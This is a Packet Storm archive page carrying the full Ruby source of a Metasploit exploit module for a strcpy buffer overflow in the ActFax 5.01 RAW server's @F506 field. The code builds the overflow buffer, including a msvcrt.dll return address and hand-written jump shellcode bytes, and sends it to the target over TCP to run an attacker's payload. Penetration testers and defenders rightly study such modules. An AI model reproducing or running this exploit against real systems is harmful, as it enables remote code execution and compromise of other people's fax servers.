exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ActFax 5.01 RAW Server Buffer Overflow

ActFax 5.01 RAW Server Buffer Overflow
Posted Mar 26, 2013
Authored by corelanc0d3r, Craig Freyman, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW Server can be used to transfer fax messages without any underlying protocols. To note significant fields in the fax being transferred, like the fax number or the recipient, ActFax data fields can be used. This Metasploit module exploits a buffer overflow in the handling of the @F506 fields due to the insecure usage of strcpy. This Metasploit module has been tested successfully on ActFax 5.01 over Windows XP SP3 (English).

tags | exploit, overflow, protocol
systems | windows
advisories | OSVDB-89944
SHA-256 | d87e539151a571a848fa3efe35cc969a0ff60645c93035d902d039cfcf31fbc7

ActFax 5.01 RAW Server Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'ActFax 5.01 RAW Server Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW
Server can be used to transfer fax messages without any underlying protocols. To
note significant fields in the fax being transferred, like the fax number or the
recipient, ActFax data fields can be used. This module exploits a buffer overflow
in the handling of the @F506 fields due to the insecure usage of strcpy. This
module has been tested successfully on ActFax 5.01 over Windows XP SP3 (English).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Craig Freyman', # @cd1zz # discovery and Metasploit module
'corelanc0d3r', # Metasploit module
'juan vazquez' # Metasploit module cleanup
],
'References' =>
[
[ 'OSVDB', '89944' ],
[ 'BID', '57789' ],
[ 'EDB', '24467' ],
[ 'URL', 'http://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html' ]
],
'Platform' => 'win',
'Payload' =>
{
'BadChars' => (0x00..0x1f).to_a.pack("C*") + "\x40",
'DisableNops' => true,
'Space' => 1024,
'EncoderOptions' =>
{
'BufferRegister' => 'ECX'
}
},
'Targets' =>
[
[ 'ActFax 5.01 / Windows XP SP3',
{
'Ret' => 0x77c35459, # push esp # ret # msvcrt.dll
'Offset' => 1024
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Feb 5 2013',
'DefaultTarget' => 0))

end

def exploit
connect
p = payload.encoded
buffer = p
buffer << rand_text(target['Offset'] - p.length)
buffer << [target.ret].pack("V")
buffer << "\x89\xe1" # mov ecx, esp
buffer << "\x81\xC1\xFC\xFB\xFF\xFF" # add ecx, -1028
buffer << "\x81\xC4\x6C\xEE\xFF\xFF" # add esp, -4500
buffer << "\xE9\xE9\xFB\xFF\xFF" # jmp $-1042
print_status("Trying target #{target.name}...")
sock.put("@F506 "+buffer+"@\r\n\r\n")
disconnect
end
end

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close